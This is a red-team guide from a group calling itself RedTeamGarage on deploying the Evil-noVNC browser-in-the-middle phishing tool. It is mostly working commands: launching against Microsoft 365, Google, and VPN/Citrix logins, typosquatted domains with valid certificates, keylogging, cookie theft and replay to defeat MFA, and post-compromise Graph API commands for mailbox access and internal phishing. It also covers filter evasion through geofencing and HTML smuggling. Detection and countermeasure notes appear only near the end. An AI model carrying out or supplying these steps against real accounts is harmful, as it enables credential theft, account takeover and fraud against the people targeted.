



◆ OFFENSIVE SECURITY SERIES ◆

EVIL-noVNC

A Realistic Phishing Simulation

Browser-in-the-Middle · MFA Bypass · Session Hijacking · Cookie Replay

noVNC

AiTM

M365

MFA Bypass

Cookies

VPN

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

**LEGAL DISCLAIMER**

This guide is produced by RedTeamGarage (RTG) strictly for educational purposes.
Evil-noVNC must ONLY be used in authorized red team engagements with written permission.
Using phishing tools against real targets without authorization is a criminal offense.
RTG assumes zero liability for misuse. Authorized testing ONLY.

**TABLE OF CONTENTS**

Evil-noVNC: A Realistic Phishing Simulation — Full Red Team Guide

- 01. INTRODUCTION — MODERN PHISHING & MFA BYPASS**
- 02. HOW EVIL-NOVNC WORKS — ARCHITECTURE DEEP DIVE**
- 03. EVIL-NOVNC VS TRADITIONAL PHISHING TOOLS**
- 04. INSTALLATION & DEPENDENCIES**
- 05. BASIC USAGE & CONFIGURATION OPTIONS**
- 06. SETTING UP PHISHING INFRASTRUCTURE**
- 07. SSL CERTIFICATES & DOMAIN SETUP**
- 08. TARGETING MICROSOFT 365 — FULL WALKTHROUGH**
- 09. TARGETING GOOGLE WORKSPACE**
- 10. VPN & CITRIX PHISHING WITH NOVNC**
- 11. REAL-TIME SESSION MONITORING**
- 12. COOKIE EXTRACTION & REPLAY**
- 13. MFA BYPASS — HOW IT WORKS**
- 14. KEYLOGGING & CREDENTIAL CAPTURE**
- 15. SCREENSHOT & SCREEN RECORDING**
- 16. POST-PHISHING: WEAPONIZING STOLEN SESSIONS**
- 17. EVASION — BYPASSING EMAIL FILTERS & PROXIES**
- 18. DETECTION — BLUE TEAM INDICATORS**
- 19. COUNTERMEASURES — DEFENDING AGAINST NOVNC ATTACKS**
- 20. PHISHING CAMPAIGN CHECKLIST & REFERENCE**

01 — INTRODUCTION: MODERN PHISHING & MFA BYPASS

Why Traditional Phishing is Dead

Traditional phishing pages — HTML clones of login portals hosted on attacker infrastructure — have become increasingly ineffective. Modern browser security, certificate transparency, phishing-resistant MFA (hardware keys, number matching), and cloud email filters detect and block HTML credential harvesting pages with high accuracy.

Evil-noVNC represents a fundamentally different approach: instead of cloning a login page, it serves the REAL login page through a browser-in-the-middle proxy. The victim interacts with an actual browser session running on the attacker's server, rendered in real time through a noVNC WebSocket stream. The victim sees the legitimate page with valid certificates — because it IS the legitimate page.

Why This Attack is Uniquely Dangerous

- ◆ No fake HTML pages — victim interacts with the REAL login portal
- ◆ Valid TLS certificates — browser shows the correct padlock for the target site
- ◆ MFA bypass — session cookies captured AFTER victim completes MFA authentication
- ◆ Bypasses phishing-resistant MFA concepts when combined with AiTM techniques
- ◆ Extremely difficult to detect — no malicious JS injected, no fake pages
- ◆ Works against any web application: O365, GSuite, VPNs, Citrix, banking portals

Attack Flow Summary

Step	Actor	Action	Result
1	Attacker	Set up Evil-noVNC targeting real login URL	Proxy server running
2	Attacker	Send phishing email with noVNC link	Victim receives link
3	Victim	Clicks link → browser connects to attacker server	noVNC stream opens
4	Victim	Sees real login page, enters credentials	Keylogger captures them
5	Victim	Completes MFA (code, push, biometric)	Session authenticated
6	Attacker	Post-auth cookies automatically captured	MFA completely bypassed
7	Attacker	Cookie replay in own browser	Full account access

02 — HOW EVIL-NOVNC WORKS

Architecture Deep Dive

Understanding the technical architecture is essential to deploying and customizing Evil-noVNC effectively. The attack is built on three layers: a headless browser, a VNC server capturing the display, and a WebSocket proxy delivering it to the victim.

Technical Architecture

Component	Technology	Role
Virtual Display	Xvfb (X Virtual Framebuffer)	Headless X11 display for the browser
Browser Engine	Chromium / Firefox headless	Renders actual target website
VNC Server	x11vnc	Captures display and serves VNC stream
WebSocket Proxy	noVNC + websockify	Translates VNC to browser-readable WebSocket
Web Server	Python HTTP / nginx	Serves noVNC client HTML to victim
Session Capture	Custom Python hooks	Intercepts cookies, keystrokes, screenshots
Cookie Manager	browser CDP protocol	Extracts post-auth session cookies

Connection Flow

- Victim opens phishing URL → connects to noVNC HTML client on attacker server
- noVNC JS client establishes WebSocket connection to websockify proxy
- Websockify translates WebSocket traffic to VNC protocol
- VNC server captures the Xvfb display where Chromium is rendering the real site
- Victim sees the real site in real time, interacts normally (mouse/keyboard forwarded)
- All keystrokes are intercepted by evilnoVNC's keyboard hook
- After victim authenticates, CDP (Chrome DevTools Protocol) extracts all cookies

RTG NOTE

The victim's browser never directly contacts the target site — all requests go through attacker. This is what makes cookie capture so reliable: attacker owns the entire browser session. CDP (Chrome DevTools Protocol) gives programmatic access to cookies at the C-runtime level.



03 — EVIL-NOVNC VS TRADITIONAL PHISHING TOOLS

Capability Comparison

Feature	Evil-noVNC	Evilginx2	Modlishka	HTML Clone
Uses real target site	Yes (live proxy)	Yes (AiTM)	Yes (AiTM)	No (fake)
MFA Bypass	Yes (post-auth cookies)	Yes	Yes	No
Certificate validity	Target's cert visible	Attacker's cert	Attacker's cert	Attacker's cert
JS injection required	No	Partial	Partial	Yes
AV/Proxy detection risk	Very Low	Medium	Medium	High
Setup complexity	Medium	High	High	Low
Works on all web apps	Yes	Limited	Limited	Yes
Browser fingerprint evasion	High	Medium	Medium	Low
Real-time session view	Yes (full screen)	No	No	No

RTG NOTE

Evil-noVNC's key differentiator: victim sees zero fake content — they interact with the real s

No JS injection means no CSP violations or suspicious script loads for proxies to flag.

Particularly effective against portals with complex login flows (MFA, CAPTCHA, device checks).

04 — INSTALLATION & DEPENDENCIES

Getting Evil-noVNC Operational

System Requirements

- ◆ OS: Linux (Kali, Ubuntu 20.04+, Debian) — Ubuntu 22.04 recommended
- ◆ Python 3.7+ with pip
- ◆ Xvfb (X Virtual Framebuffer)
- ◆ Chromium or Google Chrome browser
- ◆ x11vnc VNC server
- ◆ websockify (Python WebSocket-to-TCP bridge)

\$ Installation

Step 1: System dependencies

sudo apt update

sudo apt install -y xvfb x11vnc chromium-browser python3 python3-pip git

Step 2: Clone Evil-noVNC

git clone https://github.com/fhlipZero/evilnoVNC.git

cd evilnoVNC

Step 3: Python dependencies

pip install -r requirements.txt

Core: websockify, pillow, numpy, requests, pycookiecheat

Step 4: Verify installation

python3 evilnovnc.py --help

Optional: noVNC (already bundled but can update)

git clone https://github.com/novnc/novnc.git

git clone https://github.com/novnc/websockify.git

```
root@kali: ~/evilnoVNC — Installation

(root@kali)-[~]
# git clone https://github.com/fhlipZero/evilnoVNC.git
Cloning into 'evilnoVNC'...
remote: Enumerating objects: 148, done.
remote: Counting objects: 100% (148/148), done.
[+] Repository cloned successfully

(root@kali)-[~/evilnoVNC]
# pip install -r requirements.txt
Installing: websockify, pillow, numpy, requests...
[+] Dependencies installed

(root@kali)-[~/evilnoVNC]
# ls -la
drwxr-xr-x  evilnoVNC/
-rwxr-xr-x  start.sh
-rw-r--r--  evilnovnc.py
-rw-r--r--  requirements.txt
drwxr-xr-x  noVNC/
drwxr-xr-x  certs/

(root@kali)-[~/evilnoVNC]
# _
```

Figure: Evil-noVNC installation — clone, dependencies, directory structure



05 — BASIC USAGE & CONFIGURATION

Command Line Reference

\$ Basic Usage

```
# Basic usage syntax
python3 evilnovnc.py [OPTIONS]

# Core options:
# --port PORT          Port to listen on (default: 8080)
# --target URL         Target URL to proxy (e.g. https://login.microsoft.com)
# --ssl               Enable HTTPS
# --certfile FILE      SSL certificate file (.pem)
# --keyfile FILE       SSL private key file (.pem)
# --resolution WxH     Virtual display resolution (default: 1280x720)
# --screenshot INT     Screenshot interval in seconds (0 = disabled)
# --keylog             Enable keystroke logging
# --output DIR         Session output directory

# Example: Target Microsoft 365, HTTPS, screenshot every 3s
python3 evilnovnc.py \
  --port 8080 \
  --target https://login.microsoftonline.com \
  --ssl \
  --certfile certs/cert.pem \
  --keyfile certs/key.pem \
  --screenshot 3 \
  --keylog \
  --output ./sessions

# Victim access URL:
# https://YOUR_SERVER:8080/vnc.html?autoconnect=true&resize=scale
```

Parameter	Description	Example Value
--port	Listening port for noVNC server	8080, 443
--target	Full URL to proxy to victim	https://login.microsoftonline.com
--ssl	Enable TLS/HTTPS	(flag — no value)
--certfile	Path to PEM certificate	certs/fullchain.pem
--keyfile	Path to PEM private key	certs/privkey.pem
--resolution	Virtual display dimensions	1280x720, 1920x1080
--screenshot	Screenshot capture interval (seconds)	2, 5, 0 (disabled)



--keylog	Enable keystroke capture	(flag — no value)
--output	Directory for session data	./sessions/



06 — SETTING UP PHISHING INFRASTRUCTURE

Production-Grade Deployment

A convincing phishing campaign requires more than just running evilnoVNC.py. Professional red team infrastructure includes a convincing domain, valid TLS certificate, nginx reverse proxy for clean URLs, and a phishing email with appropriate pretexting.

Infrastructure Components

Component	Purpose	Recommendation
Attack Server	Runs Evil-noVNC + noVNC	VPS: DigitalOcean, Vultr (non-US)
Domain Name	Convincing phishing URL	Typosquatting, lookalike domains
TLS Certificate	Valid HTTPS (victim trust)	Let's Encrypt certbot (free)
Reverse Proxy	Clean URLs, rate limiting	nginx with custom headers
Email Infrastructure	Phishing email delivery	Sendgrid, Mailgun, or SMTP relay
CDN / Redirector	Mask server IP, geofence	Cloudflare Worker or nginx redirect

Nginx Reverse Proxy Configuration

\$ nginx Config

```
# /etc/nginx/sites-available/phish.conf
server {
    listen 443 ssl;
    server_name login.micro5oft-login.com;

    ssl_certificate /etc/letsencrypt/live/login.micro5oft-login.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/login.micro5oft-login.com/privkey.pem;

    location / {
        proxy_pass https://localhost:8080;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_cache_bypass $http_upgrade;
    }
}

# Test and reload
sudo nginx -t && sudo systemctl reload nginx
```



```
root@kali: ~ — Infrastructure Setup & Delivery

(root@kali)-[~]
# # Step 1: Get a convincing domain (typosquatting)
# microsoft-login.com / login-microsoft365.net
# microsoft-office.com / office365-verify.io

(root@kali)-[~]
# # Step 2: Get free SSL cert from Let's Encrypt
certbot certonly --standalone -d phish.microsoft-login.com
[+] Certificate: /etc/letsencrypt/live/phish.microsoft-login.com/fullchain.pem

(root@kali)-[~]
# # Step 3: Nginx reverse proxy (hide noVNC, add custom headers)
sudo nano /etc/nginx/sites-available/phish.conf
# location / { proxy_pass https://localhost:8080; }
sudo nginx -t && sudo systemctl reload nginx

(root@kali)-[~]
# # Step 4: Launch evilnoVNC behind nginx
cd ~/evilnoVNC
python3 evilnovnc.py --port 8080 --target https://login.microsoftonline.com \
  --ssl --certfile /etc/letsencrypt/live/phish.microsoft-login.com/fullchain.pem \
  --keyfile /etc/letsencrypt/live/phish.microsoft-login.com/privkey.pem

[+] Evil-noVNC running on port 8080 (behind nginx on 443)
[*] Phishing URL: https://phish.microsoft-login.com/vnc.html?autoconnect=true

(root@kali)-[~]
# _
```

Figure: Full infrastructure setup — domain, cert, nginx, evilnoVNC launched behind reverse proxy



07 — SSL CERTIFICATES & DOMAIN SETUP

Building Victim Trust

The single most important factor in phishing success is victim trust. A valid TLS certificate from a recognized CA, combined with a convincing domain name, means the victim sees a green padlock and a believable URL — their primary security indicators.

Domain Selection Strategy

- ◆ Typosquatting: micro5oft.com, rnicrosoft.com (rn looks like m), micosoft.com
- ◆ Combosquatting: microsoft-login.com, office365-signin.io, azure-auth.net
- ◆ Homograph attack: using Unicode chars that look like ASCII (xn-- punycode domains)
- ◆ Subdomain trick: login.microsoft.com.phish-domain.com (confusing at a glance)
- ◆ Legitimate-looking: sso-corp-login.com, secure-identity-verify.com

Let's Encrypt Certificate (Free)

\$ TLS Setup

```
# Install certbot
sudo apt install certbot python3-certbot-nginx

# Get certificate (standalone mode – stop nginx first if running on 80)
sudo certbot certonly --standalone -d phish.micro5oft-login.com

# Certificate location
# /etc/letsencrypt/live/phish.micro5oft-login.com/fullchain.pem
# /etc/letsencrypt/live/phish.micro5oft-login.com/privkey.pem

# Auto-renewal
sudo certbot renew --dry-run

# Use with evilnovnc
python3 evilnovnc.py --port 8080 \
  --certfile /etc/letsencrypt/live/phish.micro5oft-login.com/fullchain.pem \
  --keyfile /etc/letsencrypt/live/phish.micro5oft-login.com/privkey.pem \
  --target https://login.microsoftonline.com --ssl
```



RTG TIP

Self-signed certs will show browser warnings — immediately destroys credibility.
Let's Encrypt is free and provides certificates that ALL browsers trust.
Use nginx to handle TLS termination if managing multiple phishing pages.



08 — TARGETING MICROSOFT 365

Full Attack Walkthrough

Microsoft 365 is the most targeted phishing platform. Traditional Evilginx-style attacks are increasingly fingerprinted by Microsoft's identity protection. Evil-noVNC sidesteps this by not modifying requests at all — the victim's browser session is a legitimate cloud browser hitting real Microsoft infrastructure.

\$ M365 Attack

```
# Target: Microsoft 365 / Entra ID login
python3 evilnovnc.py \
  --port 8080 \
  --target 'https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b8-9b8-9b8' \
  --ssl --certfile certs/fullchain.pem --keyfile certs/privkey.pem \
  --screenshot 2 --keylog --output ./sessions/m365

# Phishing URL to send to victim:
# https://phish.micro5oft-login.com/vnc.html?autoconnect=true&resize=scale

# After victim authenticates — extract cookies
cat ./sessions/m365/cookies_*.json | python3 -m json.tool

# Key cookies to look for:
# ESTSAUTH, ESTSAUTHPERSISTENT — main session tokens
# x-ms-gateway-slice — routing token
# buid, esctx — device binding tokens

# Replay in browser using cookie editor extension
# Navigate to: https://outlook.office.com (cookies auto-authenticate)
```



```
root@kali: ~/evilnoVNC — Live Session & Cookie Capture

[*] Incoming connection: 203.0.113.42:51234
[+] Victim session established — browser forwarding active
[*] Victim navigating target: https://login.microsoftonline.com

[+] KEYLOG: j
[+] KEYLOG: o
[+] KEYLOG: h
[+] KEYLOG: n
[+] KEYLOG: .
[+] KEYLOG: d
[+] KEYLOG: o
[+] KEYLOG: e

[+] USERNAME ENTERED: john.doe@corp.com
[*] Victim advancing to password page...
[+] PASSWORD CAPTURED: W3lc0me@Corp!

[+] MFA PROMPT DETECTED — session open, waiting for victim...
[+] SESSION COOKIES CAPTURED:
(COOKIE) ESTSAUTH=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdW...
(COOKIE) x-ms-gateway-slice=estsfd; samesite=none; secure

[+] * MFA BYPASSED — POST-AUTH SESSION STOLEN *
[+] Cookie dump: sessions/203.0.113.42_cookies.json

~(root@kali) - [~/evilnoVNC]
# _
```

Figure: Live session capture — credentials typed, MFA completed, post-auth cookies stolen

RTG NOTE

ESTSAUTH + ESTSAUTHPERSISTENT = full M365 session access (email, Teams, SharePoint).

These cookies bypass MFA entirely — victim already passed MFA in the noVNC session.

Cookie expiry: ESTSAUTHPERSISTENT can be valid for days to weeks depending on tenant config.

09 — TARGETING GOOGLE WORKSPACE

Gmail & GSuite Session Hijacking

\$ Google Workspace

```
# Target: Google Workspace / Gmail
python3 evilnovnc.py \
  --port 8080 \
  --target 'https://accounts.google.com/signin/v2/identifier' \
  --ssl --certfile certs/fullchain.pem --keyfile certs/privkey.pem \
  --screenshot 2 --keylog --output ./sessions/gsuite

# Google key cookies to capture:
# SAPISID, APISID – authentication tokens
# SID, HSID, SSID – session identifiers
# __Secure-1PAPISID, __Secure-3PAPISID – secure session tokens

# Verify cookie session is valid
curl -b 'SID=<value>; HSID=<value>; SSID=<value>' \
  'https://mail.google.com/mail/u/0/#inbox'

# Use Google Takeout to exfil entire account data
# Use Google Admin SDK with stolen token to enumerate org users
curl -H 'Authorization: Bearer <access_token>' \
  'https://www.googleapis.com/admin/directory/v1/users?domain=corp.com'
```

RTG TIP

Google Advanced Protection (hardware key) CAN still be bypassed with noVNC approach.
The physical key signs the WebAuthn challenge in the victim's real browser — attacker captures 2SV via SMS or Authenticator app: victim completes it in the noVNC session, attacker gets the



10 — VPN & CITRIX PHISHING

Enterprise Portal Session Theft

Corporate VPN and Citrix portals are high-value targets — authentication often grants access to the entire internal network. Evil-noVNC works identically against these portals as it does against cloud services.

\$ VPN/Citrix Targeting

```
# Target: Pulse Secure / Ivanti VPN portal
python3 evilnovnc.py --port 8080 \
  --target 'https://vpn.target-corp.com/dana-na/auth/url_default/welcome.cgi' \
  --ssl --certfile certs/cert.pem --keyfile certs/key.pem \
  --keylog --screenshot 2 --output ./sessions/vpn

# Target: Citrix StoreFront / NetScaler Gateway
python3 evilnovnc.py --port 8080 \
  --target 'https://citrix.target-corp.com/nf/auth/doAuthentication.do' \
  --ssl --certfile certs/cert.pem --keyfile certs/key.pem \
  --keylog --screenshot 3 --output ./sessions/citrix

# Target: Fortinet FortiGate SSL VPN
python3 evilnovnc.py --port 8080 \
  --target 'https://ssl-vpn.target-corp.com/remote/login' \
  --ssl --certfile certs/cert.pem --keyfile certs/key.pem \
  --keylog --screenshot 2 --output ./sessions/forti
```

RTG OPSEC

VPN credentials = direct network access. Often more valuable than O365 session.

Citrix session cookie = ability to launch internal applications remotely.

VPN portals often have weaker MFA (SMS only) — easier bypass than hardware key targets.

11 — REAL-TIME SESSION MONITORING

Watching the Victim Live

One of Evil-noVNC's most powerful features is real-time visibility into exactly what the victim is doing. The attacker can watch the session in a second browser window, take over mouse/keyboard control, and respond to MFA challenges interactively.

\$ Session Monitoring

```
# Monitor session — open noVNC viewer in YOUR browser
# Navigate to: https://localhost:8080/vnc.html
# You see exactly what the victim sees — live

# Watch session log in real time
tail -f sessions/session_log.txt
tail -f sessions/keylog.txt

# Screenshot gallery (captured every N seconds)
ls -lt sessions/screenshots/
eog sessions/screenshots/ # GNOME image viewer

# Multiple simultaneous victims: each gets their own session directory
ls -la sessions/
# 203.0.113.42/ 198.51.100.7/ 192.0.2.100/

# Watch specific victim's cookies file appear after auth
watch -n 2 'ls -la sessions/203.0.113.42/'
```

login.microsoftonline.com [Real page — attacker controlled proxy]

Microsoft

Sign in

Email, phone, or Skype

john.doe@corp.com

[Next]

No account? Create one

Can't access your account?

- ← Victim sees: REAL Microsoft login page (proxied live)
- ← Attacker sees: everything typed, all cookies, MFA bypass

Figure: Victim's view — real Microsoft login page served through noVNC proxy



12 — COOKIE EXTRACTION & REPLAY

Weaponizing Stolen Sessions

\$ Cookie Extraction & Replay

```
# Cookies captured to JSON automatically after authentication
cat sessions/203.0.113.42_cookies.json

# Method 1: Manual replay via browser (EditThisCookie / Cookie-Editor extension)
# 1. Open target site in your browser (e.g. outlook.office.com)
# 2. Open Cookie-Editor extension
# 3. Import JSON cookie file
# 4. Refresh page → authenticated

# Method 2: Python requests with stolen cookies
python3 cookie_replay.py --cookies sessions/victim_cookies.json \
    --url https://graph.microsoft.com/v1.0/me

# Method 3: curl with cookie jar
curl -b sessions/victim_cookies.txt \
    'https://outlook.office365.com/owa/'

# Verify session validity before replay
python3 -c "
import requests, json
cookies = {c['name']:c['value'] for c in json.load(open('sessions/cookies.json'))}
r = requests.get('https://graph.microsoft.com/v1.0/me', cookies=cookies)
print(r.status_code, r.json().get('displayName', 'Not valid'))"
```



```
root@kali: ~ — Cookie Replay & Post-Auth Exploitation

(root@kali)~/evilnovnc/sessions
# cat 203.0.113.42_cookies.json | python3 -m json.tool
{
  "domain": ".login.microsoftonline.com",
  "name": "ESTSAUTH",
  "value": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1Ni...",
  "secure": true,
  "httpOnly": true
}

(root@kali)~/evilnovnc
# # Load stolen cookies into browser via cookie editor extension
# # Or use Python requests to make authenticated API calls

python3 cookie_replay.py --cookies sessions/203.0.113.42_cookies.json \
  --url https://graph.microsoft.com/v1.0/me

[+] Authenticated as: John Doe (john.doe@corp.com)
[+] Tenant: corp.com | Roles: GlobalAdmin
[+] MFA: Bypassed (session-level cookie)

[*] Enumerating mailbox...
[+] 2,847 emails accessible via Graph API
[+] SharePoint access confirmed
[+] Teams access confirmed

(root@kali)~/evilnovnc
# _
```

Figure: Cookie replay — stolen session cookie gives authenticated Graph API access (GlobalAdmin!)



13 — MFA BYPASS — HOW IT WORKS

Why noVNC Defeats MFA

The most frequent question about Evil-noVNC: how does it bypass MFA? The answer is elegant: it doesn't bypass MFA at all — the victim **COMPLETES** MFA themselves, inside the noVNC session. The attacker captures the authenticated session cookies that exist **AFTER** successful MFA completion.

The MFA Bypass Timeline

Time	Event	Who Acts
T+0	Victim clicks phishing link, noVNC session opens	Victim
T+10s	Victim types username in real login portal	Victim (attacker sees keylog)
T+20s	Victim types password	Victim (attacker captures password)
T+30s	MFA prompt appears (Authenticator app push)	Victim's phone
T+35s	Victim approves MFA push notification	Victim (legitimate action)
T+36s	Session authenticated — post-auth cookies issued	Microsoft
T+37s	Evil-noVNC captures ALL post-auth session cookies	Attacker
T+38s	Victim redirected to legitimate M365 inbox	Victim unaware
T+60s	Attacker replays cookies in own browser	Attacker (full access)

RTG NOTE

This works because session cookies represent 'proof you authenticated' — including the MFA step. Phishing-resistant MFA (FIDO2/WebAuthn) is harder but not immune: cookie is still capturable. Password Hardware token users (YubiKey): token signs challenge on victim's real hardware → attacker gets token. Token-binding and Conditional Access policies (IP/device compliance) can detect cookie replay.

14 — KEYLOGGING & CREDENTIAL CAPTURE

Extracting Credentials in Real Time

\$ Keylogging

```
# Keylog output – real time in terminal
tail -f sessions/keylog.txt

# Keylog format: timestamp, key, active_window
# [14:32:01] KEY: j WINDOW: Microsoft Sign-In
# [14:32:01] KEY: o WINDOW: Microsoft Sign-In
# [14:32:01] KEY: h WINDOW: Microsoft Sign-In

# Parse credentials from keylog
python3 parse_keylog.py sessions/keylog.txt

# Screenshot evidence of credential entry
ls sessions/screenshots/ | head -20

# Session recording playback (if --record enabled)
# All screenshots form a frame-by-frame recording
ffmpeg -framerate 1 -i sessions/screenshots/%04d.png -c:v libx264 session.mp4
```

RTG TIP

Credentials captured here are the REAL credentials — useful for VPN, email, internal systems.

Even if cookies expire, the password often works indefinitely or until reset.

Screenshot evidence + keylog = high-quality red team evidence for report.



15 — SCREENSHOT & SESSION RECORDING

Visual Evidence Collection

\$ Screenshot & Recording

```
# Enable screenshots every 2 seconds
python3 evilnovnc.py ... --screenshot 2 --output ./sessions

# Screenshots saved as: sessions/screenshots/TIMESTAMP_IP.png

# Create video from screenshots (session replay)
ffmpeg -framerate 2 -pattern_type glob -i 'sessions/screenshots/*.png' \
-c:v libx264 -pix_fmt yuv420p session_replay.mp4

# Watch live via VLC
vlc session_replay.mp4

# Annotate key frames for report
convert sessions/screenshots/key_frame.png -font Helvetica -pointsize 20 \
-fill red -annotate +10+30 'Credentials entered here' annotated.png
```



16 — POST-PHISHING: WEAPONIZING STOLEN SESSIONS

From Cookie to Compromise



\$ Post-Compromise Operations

```
# Microsoft 365 – Graph API access with stolen session
# Enumerate users
curl -H 'Authorization: Bearer <token>' \
  'https://graph.microsoft.com/v1.0/users' | python3 -m json.tool

# Download emails
curl -H 'Authorization: Bearer <token>' \
  'https://graph.microsoft.com/v1.0/me/messages?$top=100'

# Access SharePoint files
curl -H 'Authorization: Bearer <token>' \
  'https://graph.microsoft.com/v1.0/me/drive/root/children'

# Search for sensitive files (passwords, keys, credentials)
curl -H 'Authorization: Bearer <token>' \
  "https://graph.microsoft.com/v1.0/search/query" \
  -d '{"requests":[{"entityTypes":["driveItem"],"query":{"queryString":"password OR credentials OR token"}]}'

# Send internal phishing email from compromised account
# (builds trust with internal targets)
curl -X POST -H 'Authorization: Bearer <token>' \
  'https://graph.microsoft.com/v1.0/me/sendMail' \
  -d '{"message":{"subject":"...", "toRecipients":[...]}}'
```


17 — EVASION — BYPASSING EMAIL FILTERS & PROXIES

Delivering the Phishing Link

- ◆ Use a URL shortener or multi-hop redirect to hide the noVNC domain in initial email.
- ◆ Send via legitimate-looking email addresses (compromised account or look-alike domain).
- ◆ Geofence your server: only serve noVNC to IPs in target's country. Block scanners.
- ◆ Add time-delayed activation: link only works during business hours (9-5).
- ◆ Use a Cloudflare Worker as redirector: hides your real server IP from email scanners.
- ◆ HTML email with no URL in body — QR code image pointing to noVNC link.
- ◆ HTML smuggling: deliver link via HTML attachment that opens locally (bypasses URL scanner)

\$ Evasion Techniques

```
# Geofencing with nginx (allow only target country, block scanners)
# Install GeoIP2 module
sudo apt install nginx-module-geoip2 libmaxminddb-dev

# nginx.conf - only allow target country
# geoip2 /usr/share/GeoIP/GeoLite2-Country.mmdb {
#     $geoip2_data_country_code country iso_code;
# }
# if ($geoip2_data_country_code != 'US') { return 403; }

# Block known crawler/scanner User-Agents
# if ($http_user_agent ~* (ZmEu|nikto|masscan|nmap)) { return 403; }

# Time-lock: only serve between 8am-6pm
# map $time_iso8601 $allowed {
#     ~T(0[89]|1[0-7]): 1; # 08:00-17:59
#     default: 0;
# }
```



18 — DETECTION — BLUE TEAM INDICATORS

How to Detect noVNC Phishing

Indicator	Detection Method	Notes
noVNC WebSocket traffic	Proxy / DLP — WebSocket inspection	wss:// connections to unknown hosts
VNC protocol over WebSocket	Deep packet inspection	Unusual for legitimate business traffic
Login from new IP after cred entry	Identity Protection / SIEM	IP mismatch on same session
Multiple short-lived sessions	Azure AD / Entra ID sign-in logs	Attacker replaying cookies
Screen resolution = VNC default	Browser fingerprinting	1280x720 noVNC default
Unusual User-Agent	Proxy / WAF logs	Chromium headless UA string
Token replay from different geo	Conditional Access	Cookie stolen → replayed in diff country

RTG NOTE — Key Detection Gap

Most phishing detection focuses on content (fake pages, JS, domain age).
noVNC phishing bypasses content inspection because there IS no malicious content.
Behavioral detection is the only reliable signal: impossible travel, IP mismatch, WebSocket pa



19 — COUNTERMEASURES — DEFENDING AGAINST NOVNC

Blue Team Hardening Guide

- ◆ Conditional Access Policies: enforce compliant device + named location IP binding
- ◆ Token binding: prevents cookie replay from different IP/device (implement in Azure AD)
- ◆ Continuous Access Evaluation (CAE): instantly revoke sessions on suspicious signals
- ◆ Phishing-resistant MFA with device attestation: FIDO2 keys with RP ID binding
- ◆ Security Defaults / Require MFA: at minimum — reduces casual credential stuffing
- ◆ User education: teach users to check the URL in their address bar, not the noVNC window
- ◆ Block WebSocket connections to unknown endpoints at corporate proxy
- ◆ Microsoft Defender for Cloud Apps: detect impossible travel, risky sign-ins
- ◆ DMARC/DKIM/SPF: prevent email spoofing that delivers the phishing link

RTG NOTE — Defender Priority

Conditional Access with compliant device check is the **STRONGEST** control.

Token binding at Azure AD level stops cookie replay across IPs.

User education alone is insufficient — technical controls must be primary defence.

20 — PHISHING CAMPAIGN CHECKLIST & REFERENCE

Pre-Op Checklist & Quick Reference

Pre-Campaign Checklist

- ❖ ☐ VPS server set up in appropriate geo-location
- ❖ ☐ Convincing domain registered (check for lookalike availability)
- ❖ ☐ Let's Encrypt TLS certificate issued for phishing domain
- ❖ ☐ nginx configured as reverse proxy with WebSocket support
- ❖ ☐ Evil-noVNC installed and tested (python3 evilnovnc.py --help OK)
- ❖ ☐ Target URL identified and tested (correct login flow rendered)
- ❖ ☐ Geofencing configured (block non-target country IPs)
- ❖ ☐ Time-lock configured (business hours only)
- ❖ ☐ Email pretexting written and reviewed
- ❖ ☐ Session capture directory created and writable
- ❖ ☐ Cookie replay method ready (browser extension or Python script)
- ❖ ☐ Monitoring terminal ready (tail -f sessions/keylog.txt)

Quick Command Reference

Install	<code>git clone https://github.com/fhlipZero/evilnoVNC.git && pip install -r requirements.txt</code>
Launch (basic)	<code>python3 evilnovnc.py --port 8080 --target https://TARGET --ssl --certfile cert.pem --keyfile key.pem</code>
With keylog + screenshots	<code>... --keylog --screenshot 2 --output ./sessions</code>
Victim URL	<code>https://YOUR_SERVER:8080/vnc.html?autoconnect=true&resize;=scale</code>
Watch keylog	<code>tail -f sessions/keylog.txt</code>
List sessions	<code>ls -la sessions/</code>
View cookies	<code>cat sessions/IP_cookies.json python3 -m json.tool</code>
Let's Encrypt cert	<code>certbot certonly --standalone -d phish.yourdomain.com</code>
nginx test	<code>sudo nginx -t && sudo systemctl reload nginx</code>
Certbot renew	<code>sudo certbot renew --dry-run</code>



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Democratize offensive security education — free, practical, no-nonsense.
Build the most comprehensive red team technique library available anywhere.
Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.